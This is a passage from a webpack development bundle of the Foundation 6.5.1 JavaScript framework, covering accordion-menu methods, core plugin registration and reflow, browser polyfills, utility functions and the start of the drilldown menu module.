true;\n }\n },\n closeAll: function closeAll() {\n _this.hideAll();\n },\n handled: function handled(preventDefault) {\n if (preventDefault) {\n e.preventDefault();\n }\n\n e.stopImmediatePropagation();\n }\n });\n }); //.attr('tabindex', 0);\n }\n /**\n * Closes all panes of the menu.\n * @function\n */\n\n }, {\n key: \"hideAll\",\n value: function hideAll() {\n this.up(this.$element.find('[data-submenu]'));\n }\n /**\n * Opens all panes of the menu.\n * @function\n */\n\n }, {\n key: \"showAll\",\n value: function showAll() {\n this.down(this.$element.find('[data-submenu]'));\n }\n /**\n * Toggles the open/close state of a submenu.\n * @function\n * @param {jQuery} $target - the submenu to toggle\n */\n\n }, {\n key: \"toggle\",\n value: function toggle($target) {\n if (!$target.is(':animated')) {\n if (!$target.is(':hidden')) {\n this.up($target);\n } else {\n this.down($target);\n }\n }\n }\n /**\n * Opens the sub-menu defined by `$target`.\n * @param {jQuery} $target - Sub-menu to open.\n * @fires AccordionMenu#down\n */\n\n }, {\n key: \"down\",\n value: function down($target) {\n var _this2 = this;\n\n if (!this.options.multiOpen) {\n this.up(this.$element.find('.is-active').not($target.parentsUntil(this.$element).add($target)));\n }\n\n $target.addClass('is-active').attr({\n 'aria-hidden': false\n });\n\n if (this.options.submenuToggle) {\n $target.prev('.submenu-toggle').attr({\n 'aria-expanded': true\n });\n } else {\n $target.parent('.is-accordion-submenu-parent').attr({\n 'aria-expanded': true\n });\n }\n\n $target.slideDown(this.options.slideSpeed, function () {\n /**\n * Fires when the menu is done opening.\n * @event AccordionMenu#down\n */\n _this2.$element.trigger('down.zf.accordionMenu', [$target]);\n });\n }\n /**\n * Closes the sub-menu defined by `$target`. All sub-menus inside the target will be closed as well.\n * @param {jQuery} $target - Sub-menu to close.\n * @fires AccordionMenu#up\n */\n\n }, {\n key: \"up\",\n value: function up($target) {\n var _this3 = this;\n\n var $submenus = $target.find('[data-submenu]');\n var $allmenus = $target.add($submenus);\n $submenus.slideUp(0);\n $allmenus.removeClass('is-active').attr('aria-hidden', true);\n\n if (this.options.submenuToggle) {\n $allmenus.prev('.submenu-toggle').attr('aria-expanded', false);\n } else {\n $allmenus.parent('.is-accordion-submenu-parent').attr('aria-expanded', false);\n }\n\n $target.slideUp(this.options.slideSpeed, function () {\n /**\n * Fires when the menu is done collapsing up.\n * @event AccordionMenu#up\n */\n _this3.$element.trigger('up.zf.accordionMenu', [$target]);\n });\n }\n /**\n * Destroys an instance of accordion menu.\n * @fires AccordionMenu#destroyed\n */\n\n }, {\n key: \"_destroy\",\n value: function _destroy() {\n this.$element.find('[data-submenu]').slideDown(0).css('display', '');\n this.$element.find('a').off('click.zf.accordionMenu');\n this.$element.find('[data-is-parent-link]').detach();\n\n if (this.options.submenuToggle) {\n this.$element.find('.has-submenu-toggle').removeClass('has-submenu-toggle');\n this.$element.find('.submenu-toggle').remove();\n }\n\n _foundation_util_nest__WEBPACK_IMPORTED_MODULE_2__[\"Nest\"].Burn(this.$element, 'accordion');\n }\n }]);\n\n return AccordionMenu;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_4__[\"Plugin\"]);\n\nAccordionMenu.defaults = {\n /**\n * Adds the parent link to the submenu.\n * @option\n * @type {boolean}\n * @default false\n */\n parentLink: false,\n\n /**\n * Amount of time to animate the opening of a submenu in ms.\n * @option\n * @type {number}\n * @default 250\n */\n slideSpeed: 250,\n\n /**\n * Adds a separate submenu toggle button. This allows the parent item to have a link.\n * @option\n * @example true\n */\n submenuToggle: false,\n\n /**\n * The text used for the submenu toggle if enabled. This is used for screen readers only.\n * @option\n * @example true\n */\n submenuToggleText: 'Toggle menu',\n\n /**\n * Allow the menu to have multiple open panes.\n * @option\n * @type {boolean}\n * @default true\n */\n multiOpen: true\n};\n\n\n//# sourceURL=webpack:///./js/foundation.accordionMenu.js?")},"./js/foundation.core.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"Foundation\", function() { return Foundation; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/* harmony import */ var _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.util.mediaQuery */ \"./js/foundation.util.mediaQuery.js\");\n\n\nfunction _typeof(obj) { if (typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }; } return _typeof(obj); }\n\n\n\n\nvar FOUNDATION_VERSION = '6.5.1'; // Global Foundation object\n// This is attached to the window, or used as a module for AMD/Browserify\n\nvar Foundation = {\n version: FOUNDATION_VERSION,\n\n /**\n * Stores initialized plugins.\n */\n _plugins: {},\n\n /**\n * Stores generated unique ids for plugin instances\n */\n _uuids: [],\n\n /**\n * Defines a Foundation plugin, adding it to the `Foundation` namespace and the list of plugins to initialize when reflowing.\n * @param {Object} plugin - The constructor of the plugin.\n */\n plugin: function plugin(_plugin, name) {\n // Object key to use when adding to global Foundation object\n // Examples: Foundation.Reveal, Foundation.OffCanvas\n var className = name || functionName(_plugin); // Object key to use when storing the plugin, also used to create the identifying data attribute for the plugin\n // Examples: data-reveal, data-off-canvas\n\n var attrName = hyphenate(className); // Add to the Foundation object and the plugins list (for reflowing)\n\n this._plugins[attrName] = this[className] = _plugin;\n },\n\n /**\n * @function\n * Populates the _uuids array with pointers to each individual plugin instance.\n * Adds the `zfPlugin` data-attribute to programmatically created plugins to allow use of $(selector).foundation(method) calls.\n * Also fires the initialization event for each plugin, consolidating repetitive code.\n * @param {Object} plugin - an instance of a plugin, usually `this` in context.\n * @param {String} name - the name of the plugin, passed as a camelCased string.\n * @fires Plugin#init\n */\n registerPlugin: function registerPlugin(plugin, name) {\n var pluginName = name ? hyphenate(name) : functionName(plugin.constructor).toLowerCase();\n plugin.uuid = Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__[\"GetYoDigits\"])(6, pluginName);\n\n if (!plugin.$element.attr(\"data-\".concat(pluginName))) {\n plugin.$element.attr(\"data-\".concat(pluginName), plugin.uuid);\n }\n\n if (!plugin.$element.data('zfPlugin')) {\n plugin.$element.data('zfPlugin', plugin);\n }\n /**\n * Fires when the plugin has initialized.\n * @event Plugin#init\n */\n\n\n plugin.$element.trigger(\"init.zf.\".concat(pluginName));\n\n this._uuids.push(plugin.uuid);\n\n return;\n },\n\n /**\n * @function\n * Removes the plugins uuid from the _uuids array.\n * Removes the zfPlugin data attribute, as well as the data-plugin-name attribute.\n * Also fires the destroyed event for the plugin, consolidating repetitive code.\n * @param {Object} plugin - an instance of a plugin, usually `this` in context.\n * @fires Plugin#destroyed\n */\n unregisterPlugin: function unregisterPlugin(plugin) {\n var pluginName = hyphenate(functionName(plugin.$element.data('zfPlugin').constructor));\n\n this._uuids.splice(this._uuids.indexOf(plugin.uuid), 1);\n\n plugin.$element.removeAttr(\"data-\".concat(pluginName)).removeData('zfPlugin')\n /**\n * Fires when the plugin has been destroyed.\n * @event Plugin#destroyed\n */\n .trigger(\"destroyed.zf.\".concat(pluginName));\n\n for (var prop in plugin) {\n plugin[prop] = null; //clean up script to prep for garbage collection.\n }\n\n return;\n },\n\n /**\n * @function\n * Causes one or more active plugins to re-initialize, resetting event listeners, recalculating positions, etc.\n * @param {String} plugins - optional string of an individual plugin key, attained by calling `$(element).data('pluginName')`, or string of a plugin class i.e. `'dropdown'`\n * @default If no argument is passed, reflow all currently active plugins.\n */\n reInit: function reInit(plugins) {\n var isJQ = plugins instanceof jquery__WEBPACK_IMPORTED_MODULE_0___default.a;\n\n try {\n if (isJQ) {\n plugins.each(function () {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data('zfPlugin')._init();\n });\n } else {\n var type = _typeof(plugins),\n _this = this,\n fns = {\n 'object': function object(plgs) {\n plgs.forEach(function (p) {\n p = hyphenate(p);\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('[data-' + p + ']').foundation('_init');\n });\n },\n 'string': function string() {\n plugins = hyphenate(plugins);\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('[data-' + plugins + ']').foundation('_init');\n },\n 'undefined': function undefined() {\n this['object'](Object.keys(_this._plugins));\n }\n };\n\n fns[type](plugins);\n }\n } catch (err) {\n console.error(err);\n } finally {\n return plugins;\n }\n },\n\n /**\n * Initialize plugins on any elements within `elem` (and `elem` itself) that aren't already initialized.\n * @param {Object} elem - jQuery object containing the element to check inside. Also checks the element itself, unless it's the `document` object.\n * @param {String|Array} plugins - A list of plugins to initialize. Leave this out to initialize everything.\n */\n reflow: function reflow(elem, plugins) {\n // If plugins is undefined, just grab everything\n if (typeof plugins === 'undefined') {\n plugins = Object.keys(this._plugins);\n } // If plugins is a string, convert it to an array with one item\n else if (typeof plugins === 'string') {\n plugins = [plugins];\n }\n\n var _this = this; // Iterate through each plugin\n\n\n jquery__WEBPACK_IMPORTED_MODULE_0___default.a.each(plugins, function (i, name) {\n // Get the current plugin\n var plugin = _this._plugins[name]; // Localize the search to all elements inside elem, as well as elem itself, unless elem === document\n\n var $elem = jquery__WEBPACK_IMPORTED_MODULE_0___default()(elem).find('[data-' + name + ']').addBack('[data-' + name + ']'); // For each plugin found, initialize it\n\n $elem.each(function () {\n var $el = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n opts = {}; // Don't double-dip on plugins\n\n if ($el.data('zfPlugin')) {\n console.warn(\"Tried to initialize \" + name + \" on an element that already has a Foundation plugin.\");\n return;\n }\n\n if ($el.attr('data-options')) {\n var thing = $el.attr('data-options').split(';').forEach(function (e, i) {\n var opt = e.split(':').map(function (el) {\n return el.trim();\n });\n if (opt[0]) opts[opt[0]] = parseValue(opt[1]);\n });\n }\n\n try {\n $el.data('zfPlugin', new plugin(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this), opts));\n } catch (er) {\n console.error(er);\n } finally {\n return;\n }\n });\n });\n },\n getFnName: functionName,\n addToJquery: function addToJquery($) {\n // TODO: consider not making this a jQuery function\n // TODO: need way to reflow vs. re-initialize\n\n /**\n * The Foundation jQuery method.\n * @param {String|Array} method - An action to perform on the current jQuery object.\n */\n var foundation = function foundation(method) {\n var type = _typeof(method),\n $noJS = $('.no-js');\n\n if ($noJS.length) {\n $noJS.removeClass('no-js');\n }\n\n if (type === 'undefined') {\n //needs to initialize the Foundation object, or an individual plugin.\n _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_2__[\"MediaQuery\"]._init();\n\n Foundation.reflow(this);\n } else if (type === 'string') {\n //an individual method to invoke on a plugin or group of plugins\n var args = Array.prototype.slice.call(arguments, 1); //collect all the arguments, if necessary\n\n var plugClass = this.data('zfPlugin'); //determine the class of plugin\n\n if (typeof plugClass !== 'undefined' && typeof plugClass[method] !== 'undefined') {\n //make sure both the class and method exist\n if (this.length === 1) {\n //if there's only one, call it directly.\n plugClass[method].apply(plugClass, args);\n } else {\n this.each(function (i, el) {\n //otherwise loop through the jQuery collection and invoke the method on each\n plugClass[method].apply($(el).data('zfPlugin'), args);\n });\n }\n } else {\n //error for no class or no method\n throw new ReferenceError(\"We're sorry, '\" + method + \"' is not an available method for \" + (plugClass ? functionName(plugClass) : 'this element') + '.');\n }\n } else {\n //error for invalid argument type\n throw new TypeError(\"We're sorry, \".concat(type, \" is not a valid parameter. You must use a string representing the method you wish to invoke.\"));\n }\n\n return this;\n };\n\n $.fn.foundation = foundation;\n return $;\n }\n};\nFoundation.util = {\n /**\n * Function for applying a debounce effect to a function call.\n * @function\n * @param {Function} func - Function to be called at end of timeout.\n * @param {Number} delay - Time in ms to delay the call of `func`.\n * @returns function\n */\n throttle: function throttle(func, delay) {\n var timer = null;\n return function () {\n var context = this,\n args = arguments;\n\n if (timer === null) {\n timer = setTimeout(function () {\n func.apply(context, args);\n timer = null;\n }, delay);\n }\n };\n }\n};\nwindow.Foundation = Foundation; // Polyfill for requestAnimationFrame\n\n(function () {\n if (!Date.now || !window.Date.now) window.Date.now = Date.now = function () {\n return new Date().getTime();\n };\n var vendors = ['webkit', 'moz'];\n\n for (var i = 0; i < vendors.length && !window.requestAnimationFrame; ++i) {\n var vp = vendors[i];\n window.requestAnimationFrame = window[vp + 'RequestAnimationFrame'];\n window.cancelAnimationFrame = window[vp + 'CancelAnimationFrame'] || window[vp + 'CancelRequestAnimationFrame'];\n }\n\n if (/iP(ad|hone|od).*OS 6/.test(window.navigator.userAgent) || !window.requestAnimationFrame || !window.cancelAnimationFrame) {\n var lastTime = 0;\n\n window.requestAnimationFrame = function (callback) {\n var now = Date.now();\n var nextTime = Math.max(lastTime + 16, now);\n return setTimeout(function () {\n callback(lastTime = nextTime);\n }, nextTime - now);\n };\n\n window.cancelAnimationFrame = clearTimeout;\n }\n /**\n * Polyfill for performance.now, required by rAF\n */\n\n\n if (!window.performance || !window.performance.now) {\n window.performance = {\n start: Date.now(),\n now: function now() {\n return Date.now() - this.start;\n }\n };\n }\n})();\n\nif (!Function.prototype.bind) {\n Function.prototype.bind = function (oThis) {\n if (typeof this !== 'function') {\n // closest thing possible to the ECMAScript 5\n // internal IsCallable function\n throw new TypeError('Function.prototype.bind - what is trying to be bound is not callable');\n }\n\n var aArgs = Array.prototype.slice.call(arguments, 1),\n fToBind = this,\n fNOP = function fNOP() {},\n fBound = function fBound() {\n return fToBind.apply(this instanceof fNOP ? this : oThis, aArgs.concat(Array.prototype.slice.call(arguments)));\n };\n\n if (this.prototype) {\n // native functions don't have a prototype\n fNOP.prototype = this.prototype;\n }\n\n fBound.prototype = new fNOP();\n return fBound;\n };\n} // Polyfill to get the name of a function in IE9\n\n\nfunction functionName(fn) {\n if (typeof Function.prototype.name === 'undefined') {\n var funcNameRegex = /function\\s([^(]{1,})\\(/;\n var results = funcNameRegex.exec(fn.toString());\n return results && results.length > 1 ? results[1].trim() : \"\";\n } else if (typeof fn.prototype === 'undefined') {\n return fn.constructor.name;\n } else {\n return fn.prototype.constructor.name;\n }\n}\n\nfunction parseValue(str) {\n if ('true' === str) return true;else if ('false' === str) return false;else if (!isNaN(str * 1)) return parseFloat(str);\n return str;\n} // Convert PascalCase to kebab-case\n// Thank you: http://stackoverflow.com/a/8955580\n\n\nfunction hyphenate(str) {\n return str.replace(/([a-z])([A-Z])/g, '$1-$2').toLowerCase();\n}\n\n\n\n//# sourceURL=webpack:///./js/foundation.core.js?")},"./js/foundation.core.plugin.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval('__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "Plugin", function() { return Plugin; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ "jquery");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.utils */ "./js/foundation.core.utils.js");\n\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\n\n // Abstract class for providing lifecycle hooks. Expect plugins to define AT LEAST\n// {function} _setup (replaces previous constructor),\n// {function} _destroy (replaces previous destroy)\n\nvar Plugin =\n/*#__PURE__*/\nfunction () {\n function Plugin(element, options) {\n _classCallCheck(this, Plugin);\n\n this._setup(element, options);\n\n var pluginName = getPluginName(this);\n this.uuid = Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__["GetYoDigits"])(6, pluginName);\n\n if (!this.$element.attr("data-".concat(pluginName))) {\n this.$element.attr("data-".concat(pluginName), this.uuid);\n }\n\n if (!this.$element.data(\'zfPlugin\')) {\n this.$element.data(\'zfPlugin\', this);\n }\n /**\n * Fires when the plugin has initialized.\n * @event Plugin#init\n */\n\n\n this.$element.trigger("init.zf.".concat(pluginName));\n }\n\n _createClass(Plugin, [{\n key: "destroy",\n value: function destroy() {\n this._destroy();\n\n var pluginName = getPluginName(this);\n this.$element.removeAttr("data-".concat(pluginName)).removeData(\'zfPlugin\')\n /**\n * Fires when the plugin has been destroyed.\n * @event Plugin#destroyed\n */\n .trigger("destroyed.zf.".concat(pluginName));\n\n for (var prop in this) {\n this[prop] = null; //clean up script to prep for garbage collection.\n }\n }\n }]);\n\n return Plugin;\n}(); // Convert PascalCase to kebab-case\n// Thank you: http://stackoverflow.com/a/8955580\n\n\nfunction hyphenate(str) {\n return str.replace(/([a-z])([A-Z])/g, \'$1-$2\').toLowerCase();\n}\n\nfunction getPluginName(obj) {\n if (typeof obj.constructor.name !== \'undefined\') {\n return hyphenate(obj.constructor.name);\n } else {\n return hyphenate(obj.className);\n }\n}\n\n\n\n//# sourceURL=webpack:///./js/foundation.core.plugin.js?')},"./js/foundation.core.utils.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"rtl\", function() { return rtl; });\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"GetYoDigits\", function() { return GetYoDigits; });\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"RegExpEscape\", function() { return RegExpEscape; });\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"transitionend\", function() { return transitionend; });\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"onLoad\", function() { return onLoad; });\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"ignoreMousedisappear\", function() { return ignoreMousedisappear; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n\n\n // Core Foundation Utilities, utilized in a number of places.\n\n/**\n * Returns a boolean for RTL support\n */\n\nfunction rtl() {\n return jquery__WEBPACK_IMPORTED_MODULE_0___default()('html').attr('dir') === 'rtl';\n}\n/**\n * returns a random base-36 uid with namespacing\n * @function\n * @param {Number} length - number of random base-36 digits desired. Increase for more random strings.\n * @param {String} namespace - name of plugin to be incorporated in uid, optional.\n * @default {String} '' - if no plugin name is provided, nothing is appended to the uid.\n * @returns {String} - unique id\n */\n\n\nfunction GetYoDigits(length, namespace) {\n length = length || 6;\n return Math.round(Math.pow(36, length + 1) - Math.random() * Math.pow(36, length)).toString(36).slice(1) + (namespace ? \"-\".concat(namespace) : '');\n}\n/**\n * Escape a string so it can be used as a regexp pattern\n * @function\n * @see https://stackoverflow.com/a/9310752/4317384\n *\n * @param {String} str - string to escape.\n * @returns {String} - escaped string\n */\n\n\nfunction RegExpEscape(str) {\n return str.replace(/[-[\\]{}()*+?.,\\\\^$|#\\s]/g, '\\\\$&');\n}\n\nfunction transitionend($elem) {\n var transitions = {\n 'transition': 'transitionend',\n 'WebkitTransition': 'webkitTransitionEnd',\n 'MozTransition': 'transitionend',\n 'OTransition': 'otransitionend'\n };\n var elem = document.createElement('div'),\n end;\n\n for (var t in transitions) {\n if (typeof elem.style[t] !== 'undefined') {\n end = transitions[t];\n }\n }\n\n if (end) {\n return end;\n } else {\n end = setTimeout(function () {\n $elem.triggerHandler('transitionend', [$elem]);\n }, 1);\n return 'transitionend';\n }\n}\n/**\n * Return an event type to listen for window load.\n *\n * If `$elem` is passed, an event will be triggered on `$elem`. If window is already loaded, the event will still be triggered.\n * If `handler` is passed, attach it to the event on `$elem`.\n * Calling `onLoad` without handler allows you to get the event type that will be triggered before attaching the handler by yourself.\n * @function\n *\n * @param {Object} [] $elem - jQuery element on which the event will be triggered if passed.\n * @param {Function} [] handler - function to attach to the event.\n * @returns {String} - event type that should or will be triggered.\n */\n\n\nfunction onLoad($elem, handler) {\n var didLoad = document.readyState === 'complete';\n var eventType = (didLoad ? '_didLoad' : 'load') + '.zf.util.onLoad';\n\n var cb = function cb() {\n return $elem.triggerHandler(eventType);\n };\n\n if ($elem) {\n if (handler) $elem.one(eventType, handler);\n if (didLoad) setTimeout(cb);else jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).one('load', cb);\n }\n\n return eventType;\n}\n/**\n * Retuns an handler for the `mouseleave` that ignore disappeared mouses.\n *\n * If the mouse \"disappeared\" from the document (like when going on a browser UI element, See https://git.io/zf-11410),\n * the event is ignored.\n * - If the `ignoreLeaveWindow` is `true`, the event is ignored when the user actually left the window\n * (like by switching to an other window with [Alt]+[Tab]).\n * - If the `ignoreReappear` is `true`, the event will be ignored when the mouse will reappear later on the document\n * outside of the element it left.\n *\n * @function\n *\n * @param {Function} [] handler - handler for the filtered `mouseleave` event to watch.\n * @param {Object} [] options - object of options:\n * - {Boolean} [false] ignoreLeaveWindow - also ignore when the user switched windows.\n * - {Boolean} [false] ignoreReappear - also ignore when the mouse reappeared outside of the element it left.\n * @returns {Function} - filtered handler to use to listen on the `mouseleave` event.\n */\n\n\nfunction ignoreMousedisappear(handler) {\n var _ref = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {},\n _ref$ignoreLeaveWindo = _ref.ignoreLeaveWindow,\n ignoreLeaveWindow = _ref$ignoreLeaveWindo === void 0 ? false : _ref$ignoreLeaveWindo,\n _ref$ignoreReappear = _ref.ignoreReappear,\n ignoreReappear = _ref$ignoreReappear === void 0 ? false : _ref$ignoreReappear;\n\n return function leaveEventHandler(eLeave) {\n for (var _len = arguments.length, rest = new Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) {\n rest[_key - 1] = arguments[_key];\n }\n\n var callback = handler.bind.apply(handler, [this, eLeave].concat(rest)); // The mouse left: call the given callback if the mouse entered elsewhere\n\n if (eLeave.relatedTarget !== null) {\n return callback();\n } // Otherwise, check if the mouse actually left the window.\n // In firefox if the user switched between windows, the window sill have the focus by the time\n // the event is triggered. We have to debounce the event to test this case.\n\n\n setTimeout(function leaveEventDebouncer() {\n if (!ignoreLeaveWindow && document.hasFocus && !document.hasFocus()) {\n return callback();\n } // Otherwise, wait for the mouse to reeapear outside of the element,\n\n\n if (!ignoreReappear) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(document).one('mouseenter', function reenterEventHandler(eReenter) {\n if (!jquery__WEBPACK_IMPORTED_MODULE_0___default()(eLeave.currentTarget).has(eReenter.target).length) {\n // Fill where the mouse finally entered.\n eLeave.relatedTarget = eReenter.target;\n callback();\n }\n });\n }\n }, 0);\n };\n}\n\n\n\n//# sourceURL=webpack:///./js/foundation.core.utils.js?")},"./js/foundation.drilldown.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"Drilldown\", function() { return Drilldown; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.util.keyboard */ \"./js/foundation.util.keyboard.js\");\n/* harmony import */ var _foundation_util_nest__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.util.nest */ \"./js/foundation.util.nest.js\");\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/* harmony import */ var _foundation_util_box__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./foundation.util.box */ \"./js/foundation.util.box.js\");\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ./foundation.core.plugin */ \"./js/foundation.core.plugin.js\");\n\n\nfunction _typeof(obj) { if (typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }; } return _typeof(obj); }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if (\"value\" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === \"object\" || typeof call === \"function\")) { return call; } return _assertThisInitialized(self); }\n\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return self; }\n\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function\"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }\n\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\n\n\n\n\n\n\n\n/**\n * Drilldown module.\n * @module foundation.drilldown\n * @requires foundation.util.keyboard\n * @requires foundation.util.nest\n * @requires foundation.util.box\n */\n\nvar Drilldown =\n/*#__PURE__*/\nfunction (_Plugin) {\n _inherits(Drilldown, _Plugin);\n\n function Drilldown() {\n _classCallCheck(this, Drilldown);\n\n return _possibleConstructorReturn(this, _getPrototypeOf(Drilldown).apply(this, arguments));\n }\n\n _createClass(Drilldown, [{\n key: \"_setup\",\n\n /**\n * Creates a new instance of a drilldown menu.\n * @class\n * @name Drilldown\n * @param {jQuery} element - jQuery object to make into an accordion menu.\n * @param {Object} options - Overrides to the default plugin settings.\n */\n value: function _setup(element, options) {\n this.$element = element;\n this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, Drilldown.defaults, this.$element.data(), options);\n this.className = 'Drilldown'; // ie9 back compat\n\n this._init();\n\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_1__[\"Keyboard\"].register('Drilldown', {\n 'ENTER': 'open',\n 'SPACE': 'open',\n 'ARROW_RIGHT': 'next',\n 'ARROW_UP': 'up',\n 'ARROW_DOWN': 'down',\n 'ARROW_LEFT': 'previous',\n 'ESCAPE': 'close',\n 'TAB': 'down',\n 'SHIFT_TAB': 'up'\n });\n }\n /**\n * Initializes the drilldown by creating jQuery collections of elements\n * @private\n */\n\n }, {\n key: \"_init\",\n value: function _init() {\n _foundation_util_nest__WEBPACK_IMPORTED_MODULE_2__[\"Nest\"].Feather(this.$element, 'drilldown');\n\n if (this.options.autoApplyClass) {\n this.$element.addClass('drilldown');\n }\n\n this.$element.attr({\n 'role': 'tree',\n 'aria-multiselectable': false\n });\n this.$submenuAnchors = this.$element.find('li.is-drilldown-submenu-parent').children('a');\n this.$submenus = this.$submenuAnchors.parent('li').children('[data-submenu]').attr('role', 'group');\n this.$menuItems = this.$element.find('li').not('.js-drilldown-back').attr('role', 'treeitem').find('a'); // Set the main menu as current by default (unless a submenu is selected)\n // Used to set the wrapper height when the drilldown is closed/reopened from any (sub)menu\n\n this.$currentMenu = this.$element;\n this.$element.attr('data-mutate', this.$element.attr('data-drilldown') || Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"GetYoDigits\"])(6, 'drilldown'));\n\n this._prepareMenu();\n\n this._registerEvents();\n\n this._keyboardEvents();\n }\n /**\n * prepares drilldown menu by setting attributes to links and elements\n * sets a min height to prevent content jumping\n * wraps the element if not already wrapped\n * @private\n * @function\n */\n\n }, {\n key: \"_prepareMenu\",\n value: function _prepareMenu() {\n var _this = this; // if(!this.options.holdOpen){\n // this._menuLinkEvents();\n // }\n\n\n this.$submenuAnchors.each(function () {\n var $link = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this);\n var $sub = $link.parent();\n\n if (_this.options.parentLink) {\n $link.clone().prependTo($sub.children('[data-submenu]')).wrap('
